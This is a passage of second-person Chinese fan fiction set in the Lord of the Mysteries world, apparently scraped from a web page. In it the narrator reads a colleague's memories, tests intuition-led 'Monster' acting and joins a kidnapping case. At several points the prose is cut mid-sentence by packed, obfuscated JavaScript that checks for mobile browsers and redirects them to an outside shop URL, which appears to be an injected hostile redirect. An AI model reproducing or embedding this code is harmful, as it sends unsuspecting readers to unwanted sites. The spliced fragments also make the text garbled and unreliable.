克莱恩有占卜俱乐部可以去实践,那我能做什么呢?你带着些许沮丧思考起来,如果仅仅是灵感比常人高很多就算是“怪物”,那在喝下魔药之前,我的灵感就已经不算低了。难道“怪物”途径的扮演,就是被动地承受更多稀奇古怪的‘灵感’和‘幻觉’吗? 我该往哪个方向努力,才能像克莱恩扮演占卜家那样,去扮演一个“怪物”? 周四的值夜者小队办公室,气氛比平日稍微松弛一些。你坐在属于文职人员的座位上,面前摊开着一份待归档的文件,但目光却有些失焦,手指无意识地在桌面上划拉着。扮演“怪物”这个难题,像一团缠在一起的毛线,堵在你的思绪里。 主动使用能力?你的灵感大多被动触发,无法像“占卜家”摆弄灵摆那样主动施为。理解能力?解读那些模糊的预感和启示,似乎又偏离了“怪物”这个听起来更偏向异常、异变本身的名称。你完全没有头绪,眉头不自觉地紧锁。 “哟,我们勤奋的‘怪物’小姐,今天怎么愁眉苦脸的?连文件都吸引不了你的注意力了?” 带着几分慵懒笑意的声音在旁边响起。你抬头,看到伦纳德·米切尔不知何时靠在了旁边的桌沿,那双绿色的眼睛里带着惯有的、仿佛能看透人心的探究,以及一丝善意的调侃。 你下意识地叹了口气,随即意识到自己的情绪外露得如此明显,连这位平时看起来对什么都不太上心的“诗人”同事都看出来了。你故意做了一个更夸张的懊恼表情,用手捂住脸,声音从指缝里闷闷地传出来:“居然能被伦纳德你都看出来有心事,我的表情管理真是太失败了!” 在双手的遮掩下,你的右手大拇指飞快地、不动声色地刮了两下自己的右眼眶。 放下手时,你已经换上了一副半真半假的苦恼面孔:“其实是戴莉女士和克莱恩给了我启发。戴莉女士说要作为真正的‘通灵者’活动来掌握魔药能力,克莱恩也打算去做个真正的‘占卜家’,我在想,我是不是也该像个真正的‘怪物’?可我这个途径太被动了。我总不能真的抛弃一切,跑到哪个山洞或者下水道里去当个吓人的‘怪物’吧?” 你一边说着,一边用虚视的目光扫过伦纳德。在他的“表层”影像下,你“看”到了更早一些的画面:他与克莱恩对峙,轻浮地试探;再往前,是他在练习枪法,动作精准而稳定……这些碎片化的画面快速掠过,你成功地在不引起他任何察觉的情况下,“翻阅”了他近期的一些日常片段。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193700|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听到你的问题,伦纳德并没有像往常一样立刻调侃回来,而是罕见地露出了思索的神色。他侧着头,一副认真倾听的模样,过了几秒,才开口道,语气少了些平日的玩世不恭,多了点认真的意味:“‘怪物’……命运途径,对吧?我听说这条途径的人,灵感高得吓人,总能提前感觉到点什么。” 他顿了顿,似乎在组织语言:“命运的启示,有时候就像闪电,唰一下就过去了,抓不住就没了。我听说有些赌徒,会专门挑自己‘感觉对了’的时间下注;还有些特别迷信的家伙,出门要是看见黑猫或者打碎了镜子,就觉得今天倒霉透顶,大喊大叫着非要回家躲着,说今天不宜出门。” 他看向你,绿眼睛里闪过一丝光:“如果你也完全按照你那些突如其来的‘感觉’、‘灵感’去生活、去做决定,在别人眼里……会不会也差不多?一个特别‘迷信’自己直觉的怪人?” “完全遵循我获得的灵感吗?” 你喃喃重复了一遍,眼睛渐渐亮了起来。伦纳德的话像一把钥匙,轻轻撬动了那团缠死的毛线。是啊,如果无法主动施展“怪物”的能力,那就将被动接受的启示,变成主动遵循的准则! 把那种被命运牵引的“身不由己”,外化成一种个人化的、甚至有些偏执的行为模式!这不就是一种另类的“扮演”吗?一个极度信赖自身诡异直觉、并据此行事的“怪人”! 你脸上的阴霾一扫而空,露出了真切的笑容:“多谢了,伦纳德。很有启发的建议。其实……” 你眨了眨眼,“今天我确实遵循了心里,或者说头脑里某种强烈的感觉,做了一点小小的尝试,结果收获还不错。” 伦纳德看你神情转变,似乎没听出你话里的双关,只是看你不再苦恼,便恢复了那副懒散的样子,耸耸肩:“有帮助就好。别总皱着眉头,跟老头似的。” 你笑着点了点头,将羽毛笔蘸好墨水,开始真正投入工作。过了一会儿,你起身,走向队长办公室,汇报了一声后,便按照轮值安排,下楼去看守查尼斯门。 沿着熟悉的石阶向下走,周围的光线逐渐变得昏暗,只有煤气灯在墙壁上投下摇曳的光晕。寂静的通道里,你终于不再掩饰,嘴角控制不住地向上勾起,形成一个明显而愉悦的弧度。 今天下午的收获,实在太丰盛了。 不仅意外地从伦纳德那里获得了关于“扮演”的、极其契合自身途径的关键启发——遵循直觉,化身“怪人”。更重要的是,伦纳德的秘密,终于被你发现了。 所以,“老头”是谁? 37. 第37章 喂,老头 你坐在查尼斯门旁那张硬木小桌前,开始值守。门内是教会积累的封印物与秘密,门外是安静的地底通道,这里隔绝了大部分干扰,正是思考的好地方。 你靠在椅背上,手指无意识地敲击着桌面,脑海里却如同煮沸的开水般翻腾不休。 “老头”…… 这个称呼,以及伦纳德偏头与之对话的记忆片段,像一根尖锐的刺,扎进了你的思绪。这无疑坐实了你之前的某些猜想——伦纳德·米切尔身上确实有秘密,这个看似玩世不恭的值夜者队员,体内或身边,很可能寄宿着另一个隐秘的存在。 从你“翻阅”到的记忆碎片来看,伦纳德显然是在与一个存在于他体内或与他紧密绑定、被称为“老头”的意识或存在交流。而且,交流的内容直指克莱恩!伦纳德似乎对克莱恩在韦尔奇事件的表现产生了怀疑,两天前曾于克莱恩对峙试探,试探后还向“老头”求证或寻求看法。 好吧,看来怀疑克莱恩的人不止我一个,不过我已经和克莱恩开诚布公聊过了,可不像他那样试探人还像是上门挑事。 不过“老头”有可能是伦纳德失控的前兆吗?比如,是他精神分裂产生的幻听?这个念头刚一浮现,就被你迅速否定了。伦纳德与“老头”对话时的语气、神态,虽然隐蔽,但更像是一种有明确对象的、甚至带着些许依赖的咨询,而非精神错乱者的自言自语。更重要的是…… 突然,一个更惊悚、更关乎自身的念头窜了上来,让你后颈微微发凉: “等等……我为什么直到今天,才第一次成功‘窥探’伦纳德过去的念头?” 你扪心自问,以你好奇(尤其在获得能力后几乎无法抑制的探究欲)且谨慎(对一切非常规事物保持观察)的性格,在能够“翻阅”他人记忆后,你绝对不可能放过窥探伦纳德·米切尔这样一位引人注目又带着神秘感的同事! 在你眼中,他就像一只羽毛鲜艳、行为独特的鸟儿,你怎么可能忍住不去观察他的羽毛下的细节? 事实上,公司里的其他人,无论是沉稳的邓恩队长、和善的老尼尔,还是新来的克莱恩,甚至文静的罗珊,你都或深或浅地、带着好奇和练习能力的心态“翻阅”过他们的近期记忆。虽然只是浅尝辄止,但这几乎成了你的一种习惯,就像路过一条狗你都会下意识用灵视看看它昨天吃了什么,更别说“路过”一只如此显眼的伦纳德了! 你不可能“放过”伦纳德这个气质独特、身上谜团似乎不比克莱恩少的家伙! 然而,蹊跷之处就在这里。 可事实就是,在今天的灵视开启之前,你每次刚升起“要看看伦纳德过去”的念头,这个念头就会像投入深潭的石子,只激起一圈微不可察的涟漪,随后便迅速沉底,被遗忘得一干二净。直到下一次再看到他,好奇重生,然后再次莫名遗忘……循环往复。 这太不正常了,简直就像有一块无形的橡皮擦,精准地擦掉了你对他产生的好奇心,让你自然而然地忽略了他,将他视作背景板的一部分。 “世界上如果有谁最了解自己,那必然就是我了。” 你对自己说。你深知自己的好奇心有多重,多难以克制。这种“选择性遗忘”或“念头抑制”,绝不可能是你自己的意志所为。 “所以……是那个‘老头’?” 一个冰冷的推论浮出水面。那个寄宿在,或者说与伦纳德共存的未知存在,不仅能够偷取别人已产生的念头,甚至可能具备某种更诡异的能力——潜移默化地影响、乃至“偷走”别人对他宿主产生的“好奇念头”本身?让你在潜意识层面就放弃了对伦纳德的探究? 这就能解释为什么你之前毫无察觉。因为连“想要窥探”这个念头,在产生之初就可能被悄无声息地“偷走”或“扭曲”了。直到今天,你因为伦纳德意外的建议而心怀感激,心态放松,再加上受到灵感触动主动开启灵视的一时兴起,才侥幸捕捉到了那个对话片段,从而意识到了这份“不正常”的空白。 你继续深入分析已知信息。伦纳德是“不眠者”途径的序列八“午夜诗人”。这条途径的能力主要集中在梦境、安眠、宁静、诗歌激发勇气等方面,绝对不包括“偷取念头”这种诡异的手段。因此,可以完全排除这能力源于伦纳德自身,或者是他失控征兆的可能性。 现在,答案似乎呼之欲出。 “等等!” 一个更符合“命运”途径特性的、近乎荒谬却又无比合理的可能性,如同闪电般劈中了你的思绪—— “我之所以之前从未成功窥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193701|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探伦纳德,甚至不觉得这奇怪,会不会……这种‘忽略’、这种‘忘记’,本身就是我的灵性直觉在向我示警?” 高灵感并非总以“看见”、“听见”的方式呈现。它也可能表现为一种强烈的“回避冲动”,一种无缘无故的“不感兴趣”,一种在逻辑上说不通、但你就是会下意识遵从的“忽略”。 你的灵性,在接触到伦纳德,或者说他体内的“老头”时,或许感知到了某种极端隐秘、极端危险、远非你现在能够触及甚至“观看”的东西。于是,出于自我保护的本能,它干脆在你意识的底层,悄然植入了一个 “不要探究他” 的指令,以“忘记这个选项”的形式表现出来,让你从根本上避开了这个可能引发未知恐怖后果的“观测行为”。 而今天,你之所以能“想起”并成功窥探到那些记忆片段,是不是意味着……“老头”的状态发生了变化?比如,他变得比以前虚弱了?或者因为某种原因收敛了气息?亦或是,你成功服食魔药、初步掌控灵性后,自身的“隐蔽性”得到了提升? “所以,忘记……也可能是灵性直觉的一种形式?一种最高效的‘危险预知’和‘自我保护’?” 你靠在冰冷的椅背上,凝视着查尼斯门上扭曲的符号,心中翻江倒海。 如果这个推测成立,那么“怪物”途径的扮演,其被动性或许比你想象的更加深邃。它不仅仅是在启示降临时遵从,更包括了对这种无形中引导你“回避”某些人事物的直觉的体察与信任。 你下意识地摇了摇头,试图将这个过于“唯心”的猜测甩出去。“感觉还是伦纳德自己疯了、产生幻觉更科学一点……” 你习惯性地试图用更符合你原有世界观、更“理性”的方式来解释这超自然的一切。 但随即,你深吸了一口查尼斯门前冰冷的空气,用力掐了自己的手心一下,低声告诫自己:“温蒂,清醒一点!非凡者都存在了,值夜者小队、灰雾之上的愚者、能窥探过去的灵视……这些难道就科学吗?不要总是试图用理性去框定一切,这个世界,没那么‘科学’!” 承认并接受这种基于“命运直觉”的、非理性的可能性,虽然让你感到些许不安,却也仿佛推开了一扇新的大门。 命运途径,好难懂啊…… 38. 第39章 天晴了雨停了,我又觉得我行了 成功窥探到伦纳德隐藏的秘密,让你信心大增,说不定今天是你的幸运日。 所以轮值查尼斯门的时间一结束,你就有些迫不及待地离开那阴冷寂静的通道,回到了相对温暖的楼上。你兴冲冲地走向文职办公室,找到克莱恩想试试今天能不能从他身上“看到”什么,毕竟之前一直看不到的伦纳德在今天都得手了,说不准今天在克莱恩身上也能成功呢。 办公室里,克莱恩正对着一堆陈旧的历史档案和文献抄本埋头苦干,眉头微锁,一副与故纸堆作斗争的专注模样。 你悄悄开启灵视,试图像翻阅老尼尔和伦纳德那样去“阅读”他。然而,结果依旧——那层厚重、凝实的灰雾如同最坚固的屏障,将你的窥探之力温柔而坚定地阻挡在外,让你无法触及任何有价值的信息。 “好吧,已老实。” 你在心里默默举手投降,彻底打消了短期内窥探克莱恩的念头。这家伙身上的水,比伦纳德还深,而且是被愚者先生亲口盖过章的,不可妄动。 看了眼墙上的挂钟,时间也差不多了。你收敛心思,走到克莱恩桌旁,敲了敲桌子:“嘿,占卜家先生,别跟这些大部头较劲了。时间差不多了,要不要一起去射击俱乐部练练枪?” 克莱恩要阅读的历史书籍对你来说都有些头疼。你自认为自己对学习很积极也很主动,但是阅读历史这种只是记忆和查索的工作实在太过枯燥。写数学难题,在解出来那一刻至少是爽的,而翻克莱恩那些犄角旮旯的历史就真的是完全的无聊乏味了——克莱恩真是个有耐心的人。 克莱恩从文献中抬起头,推了推眼镜,脸上露出无奈的表情:“练枪当然可以,不过温蒂小姐,请恕我直言,我可不想再和一位‘怪物’比试枪法了。那完全是在挑战概率学,毫无体验感可言。” 他指的是你那种闭着眼睛都能上靶的诡异“好运”。 你嘿嘿一笑,有点小得意,但也实话实说:“这我也控制不了啊。可能是因为我练枪的时候,内心唯一的念头就是‘希望能打中’吧?不过练了这两天也不是全无收获,至少拔枪、瞄准、扣扳机、退弹壳这一套动作我现在做得流畅多了。至于子弹飞出去后到底能不能击中目标……如果脱离了我这说不清道不明的‘好运’,我自己也说不定。” 你活动了一下手腕,“说到底,熟练度才是自己的。” 克莱恩想了想,似乎认可了你的说法,毕竟基础训练确实有必要。两人便一同前往靶场。 例行射击训练和紧随其后的体能锻炼结束后,你一边做着拉伸活动身体,一边看似随意地提起话头:“对了,克莱恩,你打算什么时候去正式做一个‘占卜家’?加入那个占卜俱乐部。” 克莱恩整理着外套,回答道:“大概等队长的资金申请批下来吧。所以还要再过几天。” 他顿了顿,侧头看你,褐色的眼睛里带着探究,“你怎么突然问起这个?难道是你的‘怪物’扮演,有思路了?” “对啊。”你点点头,没有隐瞒,“今天伦纳德给了我一个建议,我觉得说不定真的可行。” 你心里暗暗补充了一句:“虽然这建议搞不好是藏在他身体里那个‘老头’借他之口说出来的……” 克莱恩闻言,脸上露出些许讶异:“伦纳德?看不出来他……” 他顿了顿,似乎在想一个比较委婉的词,“……还有这种见解。” 你被他那谨慎的措辞逗笑了,促狭地看着他:“哟,背后蛐蛐前辈?小心我去告状哦!” 开了句玩笑后,你收敛笑容,说起正事,“他的建议是,让我完全遵循自己获得的灵感和直觉来行动。我打算试试看,利用这种突如其来的‘感觉’做一些尝试,看看能不能找到扮演的钥匙。” “听起来很符合‘命运’途径的风格。” 克莱恩表示理解,然后问道,“那么,温蒂小姐,有什么需要我‘奉陪’的吗?” 你看着克莱恩那张带着书卷气、此刻却因运动而微微泛红的脸,思索了几秒钟,一个念头冒了出来:“嗯……有了!你自从搬到水仙花街后,我还没去拜访过呢,连你家具体门牌号都不知道。正好,就用这个来试试看吧。” 你深吸一口气,对克莱恩说:“我打算从现在开始,放空大脑,完全不去思考、不去分析,就像把自己交给潜意识一样,纯粹凭着直觉走。你看看我能不能找到你家附近。” 克莱恩挑了挑眉,显然觉得这个实验很有趣,也带着几分好奇:“好啊,我很期待。需要我提供任何提示吗?” 不用!”你果断拒绝,“任何提示都会干扰我的‘感觉’。你只要跟在我后面,确保我不会撞到墙上或者走到河里就行。” 说完,你闭上眼睛,深呼吸几次,努力清空脑海中所有杂念,然后——迈开了脚步。 …… 你走在前面,目光看似涣散地扫过街上来来往往的人群,手指却再次下意识地轻刮过右眼眶。不为了“翻阅”谁的过去,而是开启了最基础的灵视。 瞬间,世界在你眼中变得更加“鲜活”起来。行人们身上腾起代表健康与情绪状态的各色气场——匆忙的工人带着疲惫的暗黄,兴奋的孩子跳动着明亮的橘红,心事重重者笼罩着沉郁的蓝灰……色彩纷呈,仿佛一幅流动的印象派油画。 你并非想通过这个“看清”什么,而是在这种感官被放大的状态下,那种冥冥中的“灵感闪光”或“命运牵引”会更容易被捕捉到,就像在嘈杂环境中更容易听到特定的频率。 在跟在后面的克莱恩看来,你的状态就颇为诡异了。 你眼神发虚,完全没有聚焦于前方的路况或行人,脚步却以一种轻巧到近乎飘忽、甚至带着点怪异韵律的方式迈了出去。 你像一尾游鱼,灵巧地在密集的人流中穿梭、转折,时而突然加速小跑几步,时而又毫无征兆地在某个橱窗前停顿片刻,歪头“看”向虚空。你的步伐路线并非直线,甚至偶尔会绕个小圈子,但每一次转向、每一次变速,都恰到好处地避开了迎面而来的行人、路边的障碍物,甚至是一条突然窜出的野狗,仿佛你周身有一个无形的预警力场。 克莱恩看得暗自心惊,又觉得这种行动模式确实透着一股非人的“灵感”驱动感。他紧跟在后面,既要确保不跟丢你诡异的步伐,又要警惕四周,手始终放在能快速拔枪的位置。 不知不觉间,周围的建筑变得稍微整齐了些,街道也安静了不少。克莱恩认出,这里已经是水仙花街的外围区域。就在这时,你身影一晃,拐进了一条相对僻静的小巷子。 克莱恩心头一紧,连忙跟上。 巷子深处,果然不太平——几个流里流气的家伙正在推搡争吵,似乎是为了一点钱财纠纷动起了手,地上散落着几个空酒瓶。他们看到一前一后走进巷子的你们,先是一愣,随即脸上露出了不怀好意的狞笑,抛下内部的争执,恶狠狠地围拢过来。 “喂!你们两个!鬼鬼祟祟的干什么!” 为首的一个壮汉唾沫横飞地吼道。 他话音落下的瞬间,你和克莱恩几乎是同时、迅捷无比地掏出了各自的配枪!黑洞洞的枪口在昏暗的巷子里指向那几个混混。 空气凝固了。 刚刚还气焰嚣张的混混们脸色瞬间惨白,高举双手,动作整齐划一。“大哥大姐别杀我!误、误会!都是误会!” 声音都变了调。 你没理会他们的讨饶,目光依旧没什么焦点,但语气清晰地说道:“钱,都拿出来。” 在“真理”的注视下,混混们都一下子懂了规矩,没了不讲理的勇气,哭丧着脸,磨磨蹭蹭地将身上所有的现金都掏了出来,堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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你心里暗笑,想着如果不是那半便士实在太轻、抛起来感觉不对,这家伙绝对会选那个最小面值的来做占卜,真是够“节俭务实”的。 分完这笔意外之财,天色又暗了一些。你重新收敛心神,再次进入那种“放空”的状态。 你不再犹豫,迈开脚步,这一次方向明确,步伐稳定,径直朝着水仙花街的某个方向走去。克莱恩眼中闪过一丝惊讶,默默跟上。 几分钟后,你在水仙花街2号——一栋看起来比铁十字街的公寓整洁体面得多的房屋前,停下了脚步。 你转过头,眼神恢复了清明,看向克莱恩,带着求证的语气:“是这里吗?” 克莱恩望着自家新居的门牌,脸上露出了真实的、混杂着惊叹和一丝了然的表情。他点了点头,语气肯定:“是的,就是这里。水仙花街2号。” 成功了!而且你清晰地感觉到一种玄妙的、身体里某种桎梏像是玻璃一样被打破了,嗯,大概就是一种很明显的通畅的感觉。 你心中涌起一阵明悟和欣喜。完全放空理性,追随飘忽的直觉,真的指引你找到了目标! 这不仅验证了伦纳德(或者说他体内“老头”)的建议可能行之有效,更让你对“怪物”途径的扮演,有了最直接的、积极的体验——信任并践行那看似毫无道理的“灵感”,哪怕它带你绕路、钻小巷、甚至卷入小麻烦,最终却可能指向正确的结果。 “看来我的‘感觉’没骗我。” 你笑了笑,看着眼前在暮色中显得安宁的房屋,真诚地说,“这里环境真不错,恭喜乔迁,克莱恩。” 天色已晚,你知道不适合久留。“今天就不打扰了,改天正式上门拜访。你也早点休息。” 你准备告辞,但想起之前的事,又补充了一句,语气认真了些,“对了,注意安全。虽然搬家了,但……之前那些人未必完全死心。” 克莱恩听出了你的关心,点了点头:“我会的,谢谢。今天……很有趣,也很有收获。” 39. 第39章 委托 第二天,周五。一场突如其来的瓢泼大雨袭击了廷根市,豆大的雨点密集地敲打着黑荆棘安保公司的窗户,发出连绵不绝的哗啦声响,将街上的行人和车马都逼回了室内。黑荆棘安保公司的接待厅内,却因为壁炉里跃动的火焰和温暖的煤气灯而显得格外安逸。 你、克莱恩、罗珊,以及另一位文职人员布莱特,正围坐在接待厅那张略显陈旧的沙发上,享用着从附近“老维尔餐厅”预订送来的午餐。简单的炖菜、面包和热汤,在这种天气里显得格外美味。窗外的雨声成了最好的背景音。 雨声潺潺,气氛轻松。吃完午餐,布莱特看着窗外的雨幕,提议道:“这雨一时半会儿停不了,反正现在也没什么事,不如我们四个来玩几把斗邪恶吧?” 罗珊立刻表示赞同,你也觉得这是个打发时间的好主意,克莱恩也无所谓地点了点头。就在布莱特兴冲冲地去拿牌时,接待厅的大门被推开了。 “吱呀”一声,公司的大门被推开,挟带着潮湿的冷风和雨水的土腥味。一个穿着被雨水打湿了肩头外套的高瘦男子走了进来。他摘下帽子,露出一张有些焦虑的脸,目光扫过你们四人,开口道:“请问……这里就是原来的佣兵小队吗?我有事想委托。” 罗珊立刻进入接待员角色,站起身,礼貌但带着歉意地说:“是的,先生。不过非常抱歉,今天负责外勤的安保人员暂时都不在公司。如果您的事情不紧急,可以稍作等待,或者留下联系方式。” 罗珊说的确实是实情。今天,邓恩·史密斯队长一大早就被佐特兰街的圣赛琳娜教堂主教请了过去,似乎有要事相商;伦纳德正在地下替他值守查尼斯门。“收尸人”弗莱和“不眠者”洛耀一早就前往金梧桐区,配合警察部门调查一桩据说带有邪教元素的艺术品失窃案。另一位“不眠者”科恩黎今日轮休,而“午夜诗人”西迦·特昂则按照惯例,前往北区郊外的“拉斐尔墓园”进行日常巡视。至于老尼尔,他年老体弱,已经很久不直接出外勤任务了。而你和克莱恩,名义上还是“文职人员”和“新手”,理论上不直接承接委托。 那名高瘦男子闻言,脸上失望之色更浓,他嘀咕了一句“怎么都不在……”,也没再多说什么,戴上帽子,转身又推门走进了雨幕里。 看着重新关上的大门,布莱特耸耸肩:“看来生意上门了,可惜人手不够。来吧,我们继续,玩牌玩牌。”罗珊坐回沙发,嘀咕了一句:“希望能等到人回来吧,虽然委托我不分委托费,但是蹭到一顿好的还是没问题的。” 你倾身伸手拿牌,若有所思地轻声说:“他还会回来的。” “嗯?” 罗珊好奇地转过头,棕色的大眼睛看着你,“温蒂,你会预言吗?你怎么知道?” 你摇摇头,指了指旁边克莱恩手中那份正在浏览的《廷根市老实人报》:“不是预言,是推理。你们看今天的报纸了吗?韦尔奇·麦格文家的那起案件,已经被警察部门定性为‘恶性入室抢劫杀人案’并通报了。虽然抓住了‘凶手’,当然我们都知道那是密修会的替罪羊,但这种发生在豪尔斯街区的惨案,足以让附近所有的富人和体面人家感到不安了。” 你接过克莱恩递来的报纸,快速找到相关版面,指给罗珊和布莱特看:“瞧,‘提醒市民注意居家安全,建议雇佣正规安保人员’。现在,豪尔斯街区乃至周边几个富人区的安保需求肯定激增。其他规模不大的安保公司,人手绝对不够调配,尤其是这种天气,突发情况多,人手更紧。” 你顿了顿,看向克莱恩,补充道:“克莱恩,你妹妹梅丽莎不是在豪尔斯街区做家教吗?她最近应该也跟你提过吧?” 克莱恩点了点头,证实了你的说法:“是的,梅丽莎昨天回来确实说过,莉亚家的邻居就新雇了两个保镖,街道上的巡警也增加了班次。而且雇主家的男主人显得很紧张,还特意询问过梅丽莎上下班的路线是否安全。 ” 仿佛是为了验证你的话,不到二十分钟,接待厅的大门再次被推开。依旧是那个高瘦男子,他身上的湿气更重了,脸上的焦虑也变成了无奈和急切。 “吱呀!” 大门再次被推开,那个高瘦男子去而复返,他身上湿得更厉害了,脸上带着更明显的急切和无奈。他有些尴尬地看了看你们,然后对罗珊说:“那个……外面的雨实在太大了,而且我确实有点急事。请问我可不可以在你们这里坐一会儿,等你们的安保人员回来?或者,有没有哪位现在稍微有空,能听我说说情况?” 他的目光在你、克莱恩和布莱特身上扫过,显然在评估你们当中是否有人能“顶事”。 罗珊有些为难地看向你们。布莱特摸了摸下巴,放下纸牌:“看来牌是玩不成了。这位先生,请过来坐吧,说说您遇到什么麻烦了。我是布莱特,虽然不一定能立刻解决,但可以先记录下来,等队长或者外勤的同事回来。” “好的,先生,情况可能比听起来更紧急。我是维克罗尔先生的管家,维克罗尔先生是位烟草商人。他的独子,艾略特·维克罗尔,今天早上上学时被绑架了……我们收到了勒索信。” 那位自称刻利的高瘦男子听到布莱特说可以先记录时,压低了声音,透露了真正的来意,“警察已经介入,但维克罗尔先生非常担忧,他雇佣一些专业的人员,确保解救过程万无一失,或者,在警察之外,能有更可靠的人去处理。” 就在此时,通往地下的楼梯传来脚步声,伦纳德结束了查尼斯门的轮值,懒洋洋地走了上来,一边活动着脖颈。看到接待厅陌生的访客,他绿色的眼睛闪过一丝了然。 布莱特如释重负,立刻起身介绍:“伦纳德,你来得正好!这位是刻利先生,维克罗尔先生的管家,有紧急委托,艾略特·维克罗尔,维克罗尔先生的独子被绑架了。” 你明显感觉到委托人和我们都松了口气——至少,来了个看起来能管事、气质也干练许多的“专业人士”。 好吧,我和克莱恩看着不让人信服吗?为什么伦纳德这个穿衬衫不好好扣扣子的家伙看着更容易得到委托人信任啊? 你心里小声吐槽道,心想只有邓恩队长那样的才是靠谱的成年人。 伦纳德绿色的眼睛快速扫过管家刻利,又瞥了你和克莱恩一眼。他几乎没怎么犹豫,就接下了委托(甚至没有怎么讲价):“保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193703|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护委托人安全,协助解决此类事件,是我们的业务范围。这个委托,黑荆棘安保公司接了。” 接着,他目光转向克莱恩,用理所当然的语气点名:“莫雷蒂,这次你跟我一起。” “好吧,” 你在一旁摊了摊手,故意做出一个夸张的、混合着失落和坚强的搞怪表情,用咏叹调般的语气说道,“我就这样被我们的诗人同学华丽地忽略了。我一点也不苦,一点也不累,更不会失望。” 你眨了眨眼,换上更实际的语气,“不过,外勤一般两个人搭档也够了,你们注意安全,快去快回。” 你本来已经准备坐回沙发,继续和罗珊、布莱特待命(或许你们三个人也能继续那局没开始的牌局)。但伦纳德却像是突然想起了什么,转身看向你,手指无意识地敲了敲自己的太阳穴,那双绿眼睛里闪过一丝考量: “等等,温蒂小姐,你也一起来。” “我?” 你有些意外。 “嗯,” 伦纳德点点头,语气随意但意有所指,“绑架案现场,或者追踪过程中,可能会有些不同寻常的痕迹,或者需要留意一些容易被忽略的细节。你的‘感觉’有时候挺准,也许能注意到我和克莱恩注意不到的东西。多双眼睛,也多份保障。” 他没有明说,但显然指的是你“怪物”途径的高灵感。 你没再推辞,点头应下:“好。”你没说尽力,感觉这种东西,你想尽力也没办法。 伦纳德随即转向克莱恩,问道:“出发前,你需要准备什么特殊工具吗?或者,有什么需要委托人提供的?” 克莱恩看向焦急的管家刻利,用平稳而专业的口吻说:“刻利先生,为了尽快找到小艾略特少爷,我们需要一件他最近穿过、还没有清洗过的贴身衣物,或者他平时经常携带、近期使用过的随身饰品,比如怀表、钢笔、手帕之类的。最好是沾染他气息比较浓的物品。” 刻利管家脸上露出了明显的困惑和不解:“这……衣服?饰品?抱歉,我不是怀疑各位的能力,但这和寻找小艾略特少爷有什么关系?” 刻利管家脸上露出明显的困惑和一丝不易察觉的怀疑——要小孩子没洗的衣服?这听起来太奇怪了。 伦纳德适时地开口,用一种轻松随意、仿佛在说今天天气不错的语气解释道:“别担心,刻利先生。我的这位同事,嗯……他养了一只嗅觉比顶级猎犬还要灵敏得多的小宠物,非常擅长追踪。我们需要小艾略特少爷的贴身物品,是为了让那个小家伙熟悉气味。” 他煞有介事地说着,表情无比自然。 “噗——” 你一下没忍住,笑出了声。你看向克莱恩,发现他脸上也掠过一丝微妙的表情,似乎对伦纳德这个即兴的“宠物”设定有点无语,但又不好反驳。 你忍着笑,一本正经地对着刻利管家补充,语气充满“真诚”的赞扬:“是的,刻利先生。那只小宠物非常可爱,毛发看起来就很好摸,而且极其有用,是我们团队非常重要的伙伴! 您完全可以信任它……嗯,和它的主人。” 刻利管家看了看一脸“正直”的伦纳德,又看了看憋着笑的你和一脸无奈的克莱恩,接受了这个解释。 40. 第40章 占卜家发力了! 告别了焦急万分的刻利管家,你们三人携带小艾略特的那套缩小版正装和那枚风暴符咒,在附近雇佣了一辆两轮轻便马车。雨势虽未停歇,但已转为绵密的细雨,为廷根市蒙上了一层灰蒙蒙的纱帘。 马车厢内略显拥挤,克莱恩被你和伦纳德夹在中间,没有浪费时间,拿出艾略特的衣物,将它们铺到马车地板上,然后将那枚风暴护符缠于自己的手杖杖头,将手杖笔直杵在了艾略特的衣物之上。 你在一旁静静观察,看到那根黑色镶银手杖在克莱恩手离开后依然笔直地立着,随即,杖头如同被无形之力牵引,坚定地倒向了正前方。 “正前方。” 克莱恩言简意赅。 伦纳德点点头,立刻敲了敲车厢隔板,对车夫报出了一个与之相应的方向。 车夫显然有些困惑,但当他回过头,看到伦纳德从内侧口袋抽出的两张一苏勒的纸币,以及后者脸上那种不容置疑的神情时,所有疑问都咽了回去。 金钱的力量,有时比任何解释都有效。 马车在湿漉漉的街道上缓缓行驶,车轮碾过积水发出哗哗声响。你看着窗外变换的街景,心中暗自比较:“卜杖寻物……有点像是需要具体媒介的、更精确版本的‘灵感寻路’?” 